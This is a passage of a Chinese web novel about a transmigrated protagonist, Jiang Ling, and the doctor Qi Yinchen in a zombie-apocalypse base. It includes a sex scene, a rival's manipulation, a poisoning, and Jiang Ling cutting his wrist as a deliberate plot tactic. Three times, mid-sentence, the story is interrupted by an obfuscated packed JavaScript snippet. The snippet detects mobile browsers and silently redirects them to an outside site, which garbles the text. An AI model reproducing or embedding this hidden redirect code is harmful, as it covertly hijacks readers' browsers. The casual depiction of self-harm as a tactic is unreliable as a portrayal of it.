江泠其实纯情的很。尽管末世前江泠经常和他那些狐朋狗友鬼混,但从来没在外面留宿过。 虽然祁音尘自己对两个男人干这事嗤之以鼻,也厌恶着这事,但是如今看来,能让他和江泠关系更近一步就是好事。 这样想着,祁音尘慢慢凑近江泠,整个人也几乎紧挨着江泠,两人肌肤相触的温热让祁音尘冷清的脸染上难说的暧昧吗,也让江泠绷紧的那根弦彻底断了。 江泠下意识的寻找能舒缓自己的清凉,意识不清的拉着祁音尘在床上滚作一团。 在某个片刻,江泠也有一瞬的清醒,他看清自己身下的人,下意识拉开距离。虽然眼中残存着理智,但是因为情欲让江泠的声音显得格外沉醉:“你不是嫌我脏吗?” 听到这话,祁音尘绯红的脸瞬间失去血色,有些语无伦次解释着:“不是的,不是的……” 声音消失在下一次的碰撞中。 他湿润的眼中望着江泠发泄的身影,忽然失了力气。 曾经,眼中尚且还满是爱意的江泠想向他索要一个吻,但是他冷冷的拒绝了,甚至口中还说着无比伤人的话:“别碰我!我嫌脏。” 那时他经常看着江泠和那些富家子弟鬼混,常常半夜才从酒吧回来,带着一身酒气。可是他有什么理由阻止呢? 没有。 他心中冒着火,却又诡异的在江泠的解释声中平静下来。 思及此,祁音尘原本剧烈跳动的心骤然冷静下来,一阵一阵的刺痛在心里蔓延。 只一小会,江泠又迅速的被炙热包裹彻底沉沦,祁音尘双手拥住江泠,试图用炙热的温度让自己遗忘一切,可是…… 为什么还是很冷呢? 祁音尘回过神,眼中闪过一丝决绝,双手像是疯长的藤蔓紧紧捆着江泠,将自己溺死在失去理智的海里。 不知过了多久,他痴迷地抚上江泠的脸,断断续续的说:“我……是爱……爱你的。” 江泠早就神志不清了,只是看见这一幕还是下意识皱眉,试图通过加重动作阻止祁音尘开口说话。 江泠:烦死了,砰砰砰! 房间的地上散落一地衣物,痛苦和欢愉交织,分不清是否是真的爱意。 8. 高岭之花医学博士 7 祁音尘醒来的时候浑身酸痛,嗓子也因为昨夜的啜泣变得无比低哑,原先想象中以为的厌恶到如今却品出了几分甜蜜的滋味。 他侧身看着依旧酣睡着的人,那安静的面容依稀可见小少爷从前的风姿。他轻轻的伸手抚上江泠的脸,专注的目光的满是温柔。 祁音尘缓缓起身,被子从身上滑落,雪白的肌肤上残留着青青紫紫的痕迹。他小心的坐起身,没有扰着还睡着的人,弯腰捡起昨夜散落在地上的衣衫一件件穿上,将昨夜留下的暧昧痕迹遮得严严实实。整理好衣领后,似乎他还是那个醉心于研究,清冷高傲的祁博士,而不是昨晚那个眼角泛红,甘心沉溺的自己。 不过昨夜毕竟是他的初次,因此走动时不免还是有些吃力。 他推门出去,亲自将早餐端进来,守在床边,希望江泠醒来第一眼就看见自己。这种干耗着时间的行为在他以前看来就是赤裸裸的愚蠢,但是此刻于他而言却不算浪费,反倒是借着这空档细细把以前从未留意过江泠的遗憾如今补全,目光一寸一寸扫过,像是想把人刻进眼里。 过了许久,祁音尘皱着眉终于发觉不对劲。就算昨夜江泠的确耗费了体力,但也不至于睡到现在。祁音尘抬头望向墙上的刻钟,玻璃镜框的反光折射到钟面上,上面的时间已过中午。 他起身猛地靠近查看着江泠的身体,冰冷的手挨着江泠的额头……怎么会这样? 祁音尘以最快的速度检查着江泠的身体情况—— 轻微发烧,脸色苍白,手脚冰凉……可这段时间他不仅安排了营养膳食,还准备了不少增强身体体质的药剂……怎么会这样? 他连忙将人抱起去了检测室,泛着冷光的器械缓缓地将江泠的身体推入身体检测的仪器,祁音尘抿着嘴,神色担忧,指尖紧紧攥着衣角的一侧,紧张的盯着仪器显示屏。 嘀,嘀,嘀…… 仪器响起了正在操作的声音,紧接着,一行行身体检测结果也显示在电子屏幕上。 祁音尘瞳仁放大,江泠的身体各项指标都不理想,不知道是各种乱七八糟的病毒还是因为那些实验,都已经让江泠的身体不堪重负。 他以为江泠在慢慢好转,实则江泠身体如同回光返照一般,红润的面色下是渐渐衰败的生机。 那些营养品根本没有办法弥补…… 祁音尘不相信江泠没有半分察觉,可江泠却一丝一毫都没有表现出来。 不将痛苦诉之于口,难道是想用悄然而至的死亡惩罚他吗? 祁音尘死死咬着下唇,双手愤怒的锤着冰冷的试验台,如竹节般骨节分明的手立马红了一大片,而当事人却毫不在意,只是神色痛苦又挣扎的看着江泠。 不过很快,他就将自己从那种情绪中抽离,将人安置在他的私人实验室后,又亲手给江泠挂上了吊瓶,叮嘱心腹好生照看,便像一阵风似的离去了。 虽说末世不少人觉醒了治愈异能,但是祁音尘不敢赌,只能采取保守的药物治疗的方式。如今末世里环境艰难,制药所需的草药得来不易,若是以往,祁音尘大可不必亲自去。只是关乎江泠,他不得不上心些。 那些草药通常长在森林深处,人迹罕至,只怕是丧尸也会多些,还是自己去最放心。 思索着人手安排的事,祁音尘匆匆而行的身影不小心撞上了迎面过来的人。 祁音尘冷冷的扫了一眼便挪开,神色不耐:“让开。” 上次带江泠回来的时候也顺便把安瓷关进了监禁室,只是还没待几天,赵祁便急急的过来捞人了,想起这里,祁音尘不禁有些痛恨自己的无能,如果不是赵祁拦着,安瓷就该死在监禁室里,哪儿还能站在这里挡他的道。 说到底,祁音尘的温和耐心也只给了江泠一个人。 安瓷低低的笑着,丝毫不掩饰自己的讥讽:“这么着急,难不成是江泠快死了?”他凑近祁音尘耳边,笑意与恶意交缠:“可这一切都是拜你所赐哦。” 说完安瓷双手插兜很快拉开了两人的距离,没等祁音尘听到这话的反应,就微笑着点头离开了。 祁音尘双手死死的攥紧,但是神情却没显半分怯,依旧冷静自持。 呵,那也轮不到你们来提醒! 祁音尘推了推镜框,不知道是眼镜折射散发的冷光还是目光散着寒意,显得格外理智。 赵祁,安瓷,你们都该死。 祁音尘冷静的迈开步子,匆匆收拾了一下东西,便带着几个人出了基地。 高台上放哨的人盯着祁音尘远去的背影,目光一下,立马去汇报了。 来人语气恭敬的将这事告诉赵祁,正安然坐在椅子上的人听到这话立马如离弦之箭窜起来,他双手抓着那人的衣领,神情暴戾: “你说,音尘带着小队出基地了?是给那个废物找药?” 被抓着衣领的人紧张的吞咽着:“应该……应该是的!” 赵祁松开这人,低声说了句:“滚!” 听到这话,那人连忙退出门外,生怕被怒火殃及。 赵祁盯着桌上的玻璃杯,怒从心起,用力的将杯子摔倒门外,碎片四溅。 肯定是江泠让音尘心软了!如果不是江泠,音尘怎么会跟他越来越疏远?这些日子他几番去见音尘都被拒了。 明明他好不容易才走到音尘的身边,跟他成为了朋友,关系也越来越近……如果不是江泠,音尘跟他怎么会是这个样子? 稍稍冷静了一会儿,赵祁却又想起前不久祁音尘警告他的话。 离江泠远点儿?赵祁冷笑,行,他不动手,但要是那人自己出了事,可就怪不了他了。 …… 江泠感觉自己一觉好像睡了很久,身体也意外的酸痛,但当他想起昨晚发生的事后,江泠一下就沉默了。 江泠:……等等,这是真的?可是从设定上来讲,这不合理。 要是江泠没记错的话,这个小世界主角攻受之间是双洁来着。 系统痛心疾首的点头:【是真的!宿主!天可怜见的!宿主你被占大便宜了!我就说主角受馋你身子,你还不信……】 昨晚被关小黑屋的经历着实给系统带来了沉重的打击。 江泠没说话,本想安慰一下系统,但最后还是什么都没说。 他无聊的躺在床上,头上挂着一瓶营养液,正一滴一滴输送进他的身体。 江泠很快就习惯了这种安静,忽然—— 一个很年轻的实验员脚步“咚咚”地跑进来,见自己醒了好像松了一口气,又立马抬头看了看吊瓶。 他过来扶着江泠靠在立起的枕头上,口中还在念叨着:“你终于醒了,博士急坏了都。不过博士有事要忙,所以让我照顾你。” 他犹豫了一下,想起博士说不要告诉江泠他出去找药了,最后还是什么都没说。 实验员才来基地实验室不久,自然不知道江泠与祁音尘的过往,只当江泠是博士喜欢的人,所以更加上心了。 江泠慢悠悠的问实验员:“你说,他有事要忙?” “当然啦,博士可是基地实验室的总负责人!一天忙死啦!不过您放心,他有空就会来看你的。”实验员迅速的接过话,话中毫不掩饰对祁音尘的崇拜。 这时实验员眼尖的发现营养液到底了,对着江泠说着去去就回,就向外走去。 结果,没几分钟门外就传来一阵喧哗声,似乎在争执什么,有的声音对江泠来说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16775803|190306||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还是很陌生,不过那个小实验员的声音他还是有印象的—— “祁博士说了,任何人都不能进这里!您也不能!” “我当然有权利这么说!祁博士只对我开放了这里的权限!” …… 接着又是一阵争执,实验员被暴力推到一边,赵祁歪着头示意手下钳制住实验员。 叮—— 权限通过—— 江泠见过赵祁,所以看见来人是赵祁并不感到意外,他那双墨色瞳仁静静注视着这场闹剧,还有闲心跟系统聊天—— 嘿,像不像正宫过来抓奸的? 系统:…… 赵祁对后面的人的摆摆手,示意他们在门外等着,紧接着“哐当一声”,把门一关,慢悠悠的踱步到了江泠床边。 赵祁“人模狗样”的装久了,摆出一副温和有礼的样子极具诈骗性。如今他作为基地管理层之一,一举一动尽显高高在上,尽管赵祁嘴里说着安抚的话语,但是神色中的轻视却骗不了人。 赵祁假惺惺的微微一笑:“江泠,很久没来看过你了。现在身体还好吗?” 这不用眼睛就能看出来吗?都躺床上了。 江泠看着眼前虚伪的人,有些无语,冷淡的回了句:“多谢关心,一切都好。” 听到这话,赵祁牵着嘴角点点头“那就好”,接着就自顾自的说起来了: “当初音尘让你当实验体的时候,其实我并不同意,但是音尘急着研制出抗体想让我在基地的地位更牢固,我也只好同意了。” “所以江泠,如果不是你,恐怕就没有我和音尘的今天,还是要多谢你。” 赵祁说到这里,语气微微带了点歉意,“其实我也知道,音尘是仗着你的喜欢才敢如此行事,我却没拦着,实在对不住。” 赵祁一边说一边瞄江泠的脸色,见眼前这人一副无动于衷的样子,咬着后槽牙煽风点火: “但是音尘扔掉那枚戒指不是我的意思,我也不知道为什么……咳咳,那么贵重的戒指,应该是你送给他的吧?很抱歉,我让人去找,没有找到……” 怎么还不急?他可听说那枚戒指是江泠妈妈送给祁音尘的,这种东西的意思不言而喻,难道那玩意儿并不重要? 江泠听到这话总算是动了一下,抬眸冷冷的问:“他扔了?” 江泠尽管如今对祁音尘毫无感情,但是那枚戒指是江母送的,是那个对他很好,总是温柔纵容他的人送的。 此时此刻唯一让江泠在意的点,就是戒指是江母送出去的。 江母曾经真的把祁音尘当“儿媳”。 这种只会糟蹋别人心意的人怎么配的上爱这个字呢? 江泠闭上了眼。 赵祁心中一喜,却面色不显的跟江泠确认着细节:“是啊,我没记错的话,那枚戒指好像是欧泊碧玺镶嵌的。” 江泠脸色一白,就是那枚。 是江母高高兴兴给祁音尘那枚。 赵祁满意的看着江泠脸色苍白,目的达成,说着“还有事忙,你先休息”这话,就离开了。 赵祁走路带风,神采风扬,一点看不出来刚刚来找茬的架势,兴高采烈地带着手下离开了。 而江泠躺在床上,闭上眼陷入黑暗之中,那些画面却又像是在眼前演绎了一遍,久违的疼漫上心头。 这就是当舔狗的下场。 说不上是什么感受,江泠开始思考自己的决定是否是对的。 其实这具身体在这个世界早就已经活腻了,说不清是被丧尸撕咬更疼,还是这辈子强制苏醒身体内部的腐烂更痛。 江泠拿过了放在桌上的水果刀,轻轻一划,随后安安静静的闭了眼。 9. 高岭之花医学博士 8 江泠静静地听着血液一滴一滴滴落在地上,在安静的环境里滴答声尤为明显。 是不是很傻?居然只是为了几句话就做出这么愚蠢的行为。 可要是不这样的话……岂不是让主角攻失望? 江泠勾起唇角,阴影没过头顶。 而此刻的祁音尘正背着包小心谨慎地往森林深处走去。这一路上他遇到了不少丧尸,几番逃生下全然不见昔日整洁干净的模样,白色衬衣上污渍和血迹交横,就连清丽冷艳、毫无瑕疵的脸上留下了伤痕,活脱脱一副战损美。 只是很可惜,本人毫不在意,旁人更没有心生怜惜的机会。 参天树木盘根交错,寻了半天,祁音尘终于找到了需要的药材。他小心翼翼挖出药材连根装进玻璃器皿里,对于手上沾染的泥土视若无睹。 江泠的身体好像越来越差了,他真的怕……怕江泠睡着后再也醒不过来。 江泠如今的身体就像养在温室里无比脆弱的花朵,一折就摧。至于导致这一切的源头,祁音尘再清楚不过。 想到这里,祁音尘心尖抽痛一下,但没有时间留给他伤怀,他能做的只有快点赶回去,一分一秒都不能耽搁。 或许是脑中闪过江泠的脸,祁音尘藏在冰冷镜片后深邃的眼里闪过一抹不易发现的温柔。 祁音尘加快步子往汇合点赶,突然前方出现的巨大阴影挡住了他前行的路。几辆越野车甩了一个漂亮的漂移停在路中间,带起一阵喧嚣的尘土,无一不彰显着主人的嚣张。年轻鲜活的调笑声从车上传来,紧接着车门被推开,几个年轻人慢悠悠地从车上跨步下来。 为首的双手抱拳到了祁音尘跟前,肆意打量的目光让祁音尘握紧了拳头,但他没有冲动,而是打算静观其变,当然,就在刚刚察觉不对的时候,他早已经给属下发送了定位。现在他要做的,就是拖着时间等人到。 祁音尘狭长清冷的眸子扫过那几人,向来高冷的脸上忽然生出一丝裂痕,漆黑的瞳仁控制不住放大,手也控制不住的开始颤抖…… 是他们,是他们几个。 这群人就是跟江泠从小一起长大的发小,当初拼命劝江泠不要管他,甚至还当着江泠面说他就是个养不熟的白眼狼。但他们又能好到哪里去,总带着江泠出入各种玩乐场所,天天把“你俩别在一块儿”写在脸上,恨不得把江泠绑在他们裤腰带上,这样江泠就能离自己远一点。 可是今日已非彼时,当初这群高高在上的公子哥在这末世里还不是跟他一样的普通人。 现在你们还有什么资格劝江泠不要和我在一起? 祁音尘脸上面带冷色,与他们对峙着,不肯退一步。 为首那人随意的揉了一把头发,他身后跟着的那群人个个年轻俊朗,似乎即使没有家世的支撑,这群人依旧在末世活得潇洒张扬。 那人一双桃花眼笑眯眯地盯着他,随意不拘的样子,与从前没有任何区别,一开口说的话便直捅他心窝: “祁音尘,我来也没别的意思,只是想问问我那个傻白甜弟弟现在被你折磨的还有命吗?我听说了,那傻子为了你连命都可以不要,真是……” 说到这里,那人脸上一副难言的表情,耸了耸肩。 人被戳中痛点时,总会用过激的方式回应,祁音尘目露寒光,好像那人再说一句话,他就要上去拼命。 握紧的拳、深陷进掌心的指尖都是证据。 大概是忽然想到这群人于江泠而言的重要,祁音尘深呼一口气,冷冷开口: “宋檀玉,这是我和江泠之间的事。” 就算你们是江泠的好朋友,也没资格插手感情的事。 叫宋檀玉的那人听懂意思也不恼,反倒是带着笑,故意激怒着祁音尘:“对啊,那个傻子我早就不管了,你们之间的事我的确管不着,但是那傻子如果死了麻烦通知我们一下,我这个哥哥好歹也帮他收个尸。” 宋檀玉语气轻佻,但心里早就气炸了。 每次想起江泠他就恨铁不成钢,一起长大的兄弟,居然为了一个小白脸跟他们置气。末世刚开始的时候他专门派人去接江泠,结果呢?这傻子非要护着祁音尘去另一个基地,到另一个基地就算了,只要江泠好好的。然后呢?他又听说这傻子自愿给祁音尘当实验体! 要不是他托人一直打听留意着江泠,恐怕江泠有天死了他们都不知道!如今好不容易找到机会堵到了祁音尘,不管江泠是活着躺着还是死了,他都一定要接回去。 从小当亲弟一样宠着的人如今给这么一个玩意祸害成这样,宋檀玉目光染上一丝晦暗,努力控制着打人的冲动。 收尸? 难道他们眼里,江泠待在自己身边就这么糟糕吗? 祁音尘强压着心中酸涩难过的情绪,反倒是极为平静的对着这一大帮人说:“江泠很好,他在我身边不会有事,就不劳你操心了。” 这次宋檀玉没说话,反倒是宋檀玉身后那群兄弟压不住了,当即就开始嚷嚷了—— “哟,把我们当傻子呢?我就不信你他妈的改性了,又想着什么利用江泠的阴招呢?” “别跟他这个狼心狗肺的东西讲道理……” “就是!直接动手!” “哎,别急啊,”宋檀玉一只手横过去拦着后面躁动的兄弟们,一边呢又看似不经心的对着祁音尘说:“祁,祁音尘是吧?怎么说呢,江泠也算我们弟弟,关心他是肯定的。只是江泠怎么说也肯定想我们了,让我们这群兄弟之间见个面不过分吧?” 相比于那群人恨不得冲上来扒掉他一层皮的厌恶样子,宋檀玉明显就好说话许多,姿态温和,十分的好脾气。 但祁音尘可没有上当,这人骨子里就看不上他,他又不是不知道。 不过宋檀玉说的有道理,若是江泠日后知道自己拦着他和发小见面,定然会更加讨厌自己,但若是他从中牵线搭桥,让他们重聚,江泠说不定还会开心一点。 这样想着,祁音尘冷冽的目光缓和许多,平静的说:“过段时间行吗?江泠还在修养,不方便出来,等我回去安排好,会让你们见他的。” 祁音尘看不惯宋檀玉一行人,宋檀玉他们又何尝对祁音尘有什么好印象。不过看着一贯高傲的人堪称低头的姿态,还是不免感到稀奇。 宋檀玉挑了挑眉,神色意外,不过祁音尘这副模样最多算是蛰伏的狼收敛了爪牙,佯装温顺无害而已。 他也没有刻意再为难,如今祁音尘低头,想必江泠如今的日子应该好过许多。要是不必动手就能见上江泠一面,也不是闹到非要干一架的地步。 宋檀玉笑了笑:“你都这么说了,我们自然不会不答应。那就麻烦你多照顾照顾江泠了,他年纪小,是有些任性不懂事,你多包涵。” 可不是年纪小嘛,连看人都学不会。也任性得很,非要在末世里当什么护花使者,啧。 祁音尘安静垂眸,浓密的睫毛让人看不清其神情 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16775804|190306||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,他点点头,像是读不懂宋檀玉话中的讥讽一般,应道:“我会的。”随后绕开了他们,径直向基地的方向走去。 白色身影还未消失在宋檀玉他们的视线中,就见着远方开来一行车队,汽车急促的行驶激起大路上纷纷扬扬的尘灰。 第一辆车停在祁音尘身旁,祁音尘单手开了车门坐进去,也彻底隔档了宋檀玉他们观察的视线。 宋檀玉还没说话,身后的一伙兄弟倒是先开口骂道: “就知道这小子还是喜欢玩阴的!还真以为他没办法,其实是拖着咱们呢!” “就是!江泠怎么玩得过他……” 宋檀玉深邃的目光注视着那几辆车,直到没影儿才慢慢收回视线,拍了拍身后兄弟的肩膀,说: “走了。” * 祁音尘撑着下巴望着窗外,那群人意外的出现忽然又将自己带到从前,提醒着他—— “你不配。” 他是不配,在这群富家子弟面前他连一粒沙都算不上。祁音尘明白这个道理,所以无数次提醒自己不要陷进去,更不要成为那群人的谈资。 可他越想避开,就越有相遇的可能性。 江泠和那群人的聚会他去过一次。奢华的会所里就连空气都是金钱的味道,那群人穿着随意,手上一块表就价值千万。 他跟在江泠身后,试图降低自己的存在感,但是那群人时不时打量的视线却让他无处遁形—— “你怎么带他来了?” 轻飘飘的话语混着笑,祁音尘无比后悔自己为什么一时昏了头要答应江泠一起过来。 尽管后面江泠一直跟他待在一块儿,但是他却没给江泠一个笑脸。 “博士,到了。” 驾驶位上的人小心翼翼的开口,祁音尘才从记忆中回过神来。这时,一阵心慌突然蔓延上心头,祁音尘摁着胸口,皱着眉,有些迫切想立刻见到江泠。 不要出事,江泠,你不能出事。 就在他马上进门的时候,门口忽然冲出来一个身影,见到他,实验员刹住脚步,咽了咽口水:“博士,您回来啦?” “有件事要告诉您……就是、就是江泠他出事了……” 祁音尘眼皮一跳,没忍住直接上手揪住了实验员的衣领,厉声问道:“到底怎么了,我不是让你好好看着他吗?” 实验员第一次看祁音尘发这么大火,被吓到支支吾吾,半响才说出究竟发生了什么:“江、江泠他割腕了!我刚刚包扎了,但是他失血过多,晕过去了,现在还没醒呢……这不,我寻思再去拿点药……” 祁音尘眼里被怒气侵占,一张美人面脸色阴沉,格外吓人。 他松开手让实验员去拿药,自己则是侧身推开门进去。白净修长的指节蜷缩在掌心,无力的垂在身侧。 兴许是太过突然,地面上的血迹还没有处理。床上的人因为失血过多脸色苍白,双手放在被子上,右手手腕上缠着厚实的白色绷带。 祁音尘走到床边,凝视着江泠,强撑了一路的他脸上终于浮现出脆弱的神色。 按理说美人低声啜泣,身形颤抖应该是格外好看的,但是这个时候却没有任何人有机会欣赏。 祁音尘无助的趴在床边,柔声恳求道:“江泠,你看看我。” 在我身边你难道就这么痛苦吗?江泠。 黑夜蚕食着落下阴影的每一处,痛苦的情绪却如一股黑烟愉快的钻进江泠的指尖。 10. 高岭之花医学博士 9 一旁的仪器显示屏上可见安静躺在床上的人微弱的心电图,祁音尘半跪在床边,时间久了,地上的血液彻底干涸,他弯曲的腿也渐渐失去知觉。 祁音尘咬着下唇,舌尖顶着上颚,黑发衬得脸色越发苍白,唇色却异常艳丽,就像是雨中强撑着不愿垂首的玫瑰,脆弱却强大。他紧攥着双手,指节泛白,掀了掀眼皮,始终想不明白江泠为什么会这么做。 为什么呢? 他得不到答案,却也不肯就这样任事情平白发生。祁音尘亲自将地上的血迹擦干净,又轻轻地为江泠掖好被角,留恋的摸了摸这人苍白的脸颊,才叮嘱手下盯好这里,转身离开。 赵祁来过一趟,走了之后江泠就出事了…… 祁音尘打开了房间内高清的监控画面,之前为了以防意外,他特意在隐蔽的位置装了摄像头,如今正好派上用场。 小顾说赵祁是带着一群人过来的,但是进门的只有赵祁一个人。 往日他还不觉得这人装,但当他站在江泠床前假惺惺的嘘寒问暖时,祁音尘只觉得碍眼。接着赵祁就说起了他,那娴熟自然的口吻仿佛他们之间的确存在着奸情一样。 祁音尘勉强忍了下来接着往下看,但他看见赵祁半是讶异半是炫耀的说起那枚戒指的事时,他终于控制不住怒气,重重一拳砸在桌面。 “他扔了?” 江泠的声音响起,祁音尘抬头看向屏幕下意识就想解释,但是动了一下嘴唇,却发现自己无可辩驳。 他闭上眼,当初接过那枚戒指的画面还无比清晰。 当初江泠让他在江家暂住,虽然再三告诉过江父江母,是因为他俩关系好、两人一起上学方便……才这么做的。 可是江母似乎早就看穿了,在江家住的那些年,江家上下对他都算是关照有加,江阿姨更是将他当成了另一个儿子。 后来他们大学毕业的那一年,江阿姨给他们俩都准备了毕业礼物—— 给江泠的是一辆名贵跑车,而给他的,是一枚泛着火彩、隐隐闪耀的戒指。 他装作不懂,江母也没有多说,只说江泠任性,劳他多包容了。 祁音尘现在还记得,江阿姨那双盈盈美目中满是笑意,又带着几分对年轻人羞涩的理解和纵容。 可当时自尊心作祟的他看不见长辈的包容,只以为江母给他戒指的意思,是提醒着他—— “不要忘记你是因为谁才有今天。” 在江泠,又或者说江泠的家人面前,他那不值一提的自尊心总是疯涨。于是他当时抿了抿嘴,脸上淡淡的,心里却觉得无比难堪。 所以,在告别江母后,他扔掉了那枚戒指。 戒指落进奔涌的江水中,没有一丝声响。但祁音尘心里却生出诡异的畅快,他不是不知道这枚戒指的高昂价值,但是毫不费力就可以丢掉的行为似乎证明着他……还没有完全放弃自己。 后来,江泠才神色别扭的告诉他,那枚戒指是传给江家儿媳妇的。会有一点愧疚吗?应该是有的。 所以江泠想看看那枚戒指的时候,他总会随意找个借口敷衍过去。 到最后,他也没有告诉江泠戒指被他丢了。 祁音尘捂着心口,迷茫的蹙眉,胸腔里传来酸涩的感觉,却又像是被人紧紧攥着,难以呼吸。 回忆里江泠单纯却又无比相信他的样子、江阿姨慈爱的目光……像是迟来的一把钝刀,割得人心绞疼。 赵祁……赵祁! 如果不是你,江泠不会这么突然知道这件事! 祁音尘不否认是他一手造就了现在的局面,但是他明明可以在江泠知晓这件事之前就开始挽救的! 赵祁,你等着。 我能帮着你在基地站稳脚跟,也能亲手拉你下来! 他回房间换了套干净的衣服,手指抵着镜框往上轻轻推了一下,看着似乎和从前没什么区别。 祁音尘慢条斯理地戴好手套,脚步径直往赵祁的住处去。 赵祁还不知道有人已经踩着愤怒的步伐在来的路上,彼时他正心情很好地擦拭着手枪,想到手下传来的消息忽然在房间里笑出了声。 果然……富家公子哥心理就是脆弱,他不过是说了两句就割腕了,啧…… 恐怕等祁音尘回来,江泠的尸体都凉透了吧。 赵祁神色愉悦地吹了吹削铁如泥的匕首上并不存在的灰尘,接着慢悠悠的擦拭着。 突然—— 赵祁房间的门就被人大力踢开,守在门外的人似乎想要阻拦,但是却无济于事。一阵强劲的风裹挟着赵祁,狠狠地将赵祁拍在墙上,紧接着便是一双冰冷白皙的手死死掐着赵祁的脖子。 赵祁根本就没有反应过来,一阵头晕目眩后好不容易回了神,睁开眼就看见面前的人冷冰冰的盯着自己,眸中染着寒霜,一双黑润的眼里是赤裸裸的杀气。 赵祁皱着眉,不明白祁音尘为什么会这样对自己,但当命门被人扼制住的时候,他还是挣扎了一下,费力的解释: “音、音尘……到底怎么了……你,你不能杀我!” 前半句姑且还算是好言相商,但是当赵祁意识到掐着他脖子的手在慢慢收紧时,还是不由自主晃了神,于是嘶哑的声音从喉咙里一字一字的往外蹦,窒息的气弱声藏在每个字尾,却又暗含提醒。 祁音尘怎么会动他?怎么敢动他! 祁音尘微微歪头,厌恶的看着在自己手中拼命挣扎的人,理智冷静与处于失控边缘的暴戾疯狂拉扯。 对,的确,赵祁现在动不得,不然基地的人定会对他和江泠出手,贸然弄掉一个基地领导人,那些向来对他有敌意的人势必会借机将矛头对准他。现在江泠还需要在基地治疗,这人动不得。 祁音尘蓦然松开手,赵祁跌倒在地上,手放在脖子上大口大口的喘气。 那张虚伪的脸涨红一片,眼睛里也带着血丝,赵祁难以置信的看着眼前身姿清冷的人,不明白祁音尘为什么要这么对他。 他们二人的关系不是已经近了许多了吗?他甚至能感觉到,只要自己再耐心、努力些,祁音尘一定会被他打动的。 祁音尘仿佛是看出了眼前人在想什么,染着寒霜的眼角满是厌恶,声音冰冷不带一丝感情:“当初尾随我的是你吧?往门口塞偷拍我的照片也是你吧?” “你还装什么?赵祁。” 赵祁听到这话,瞳仁不由自主放大,声线微微颤抖:“你怎么会知道?” 那些过去的事不是已经被抹去了呢?祁音尘怎么还会知道呢? 祁音尘没有回答这个问题,走上前去,趁赵祁脱力还没回复,冷漠的往赵祁嘴里塞了一颗药,没给赵祁反应的时间,他捏着赵祁的下巴一用力,药便随着一声吞咽进了喉咙里。 意识到祁音尘不带丝毫掩饰的杀意,赵祁仿佛才记起祁音尘原本的身份是什么,他拼命用着异能想要逼出那颗药物,可惜不知是祁音尘早有准备,药物已经溶解在他的血液中。 祁音尘在一旁居高临下的俯看着赵祁,在基地混得如日中天的人如今在地上蜷缩着狼狈不堪,就是不知道,赵祁有没有想到自己会有这一天。 他退后两步,暗含威胁警告的话脱口而出:“我说过,别动江泠。” 赵祁兴许是被刺激疯了,忽然大笑起来,神色癫狂又偏执: “音尘,你不是也没放过他吗?又何必表现得这么舍不得?” “承认吧,其实我们才是同类人,那种小少爷跟你……” 话音未落,祁音尘狠狠地一脚踢出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16775805|190306||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去,正中赵祁腹部,只听得他闷哼一声,后续的话断在了喉咙里。 就在他还想补两脚的时候,耳麦里忽然传来声音,祁音尘紧蹙的眉心舒展开,就连眼角都褪去了些许寒意,他白皙修长的手指搭在耳麦上,立马回到:“好,我马上就来。” 祁音尘按断通话,但也不忘满是嫌恶的警告赵祁:“收起你的小动作,不然我也不会让你好过。” 说完之后那道挺拔修长的身影毫不留恋的离去,只留屋里一片狼藉。 赵祁捂着腹部,脸上浮现狠厉阴沉之色,随后将“江泠”这两个字翻来覆去的嚼了又嚼。 祁音尘这边的心情可就轻松多了,亲耳听到小实验员说江泠醒了,从不喜形于色的脸上就连唇角都是微微上扬的,心上挥之不散的阴霾总算散去。 正好,他还可以趁势告诉江泠,他在外出时碰见了宋檀玉那群人。虽然祁音尘不喜欢那群人,但这个消息好歹能让江泠开心几分。 这段路说远不远,但是此刻对于祁音尘来说却迟迟看不见头。 等到了门外,祁音尘才有些近乡情怯的感觉,又忽然想到他和江泠分别之前还是在床上,清冷白皙的脸上慢慢染上晚霞般的绯红,最后深呼吸好几下,才轻轻地推开了门。 江泠其实醒了很久了,他躺在床上一言不发只是在默默的复盘。 虐心值+20,不错。 但这副身体的确太虚弱了,他割腕之后很快就被发现了,但是这样他还是不争气地昏了过去。 那很完蛋了,以后要是祁音尘非要强来,他还真不一定能拒绝。 系统也愁眉苦脸的跟着叹气,谁说当1被占不了便宜?它觉得宿主从上到下都被玷污了。 不过提前检测到某人时,系统还是非常尽责地通知:“来了,来了,喜欢强上的主角受他过来了!!” 江泠一听这话好奇转头,正好与祁音尘四目相对。 